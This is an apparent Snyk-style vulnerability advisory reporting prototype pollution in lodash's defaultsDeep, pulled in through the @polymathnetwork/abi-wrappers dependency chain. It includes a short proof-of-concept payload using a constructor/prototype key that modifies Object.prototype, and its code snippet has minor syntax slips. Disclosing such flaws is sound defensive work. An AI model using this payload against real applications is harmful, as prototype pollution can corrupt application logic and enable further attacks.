Prototype Pollution

[larrycameron80]

Prototype Pollution
Vulnerable module: lodash
Introduced through: [email protected]
Detailed paths
Introduced through: @polymathnetwork/abi-wrappers@PolymathNetwork/polymath-abi-wrappers#016f858f82ee983814ce487a8de0a67b68652196 › [email protected] › [email protected] › [email protected]
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Prototype Pollution. The function defaultsDeep could be tricked into adding or modifying properties of Object.prototype using a constructor payload.

PoC by Snyk
const mergeFn = require('lodash').defaultsDeep;
const payload = '{"constructor": {"prototype": {"a0": true}}}'

function check() {
mergeFn({}, JSON.parse(payload));
if (({})[a0] === true) {
console.log(Vulnerable to Prototype Pollution via ${payload});
}
}

check();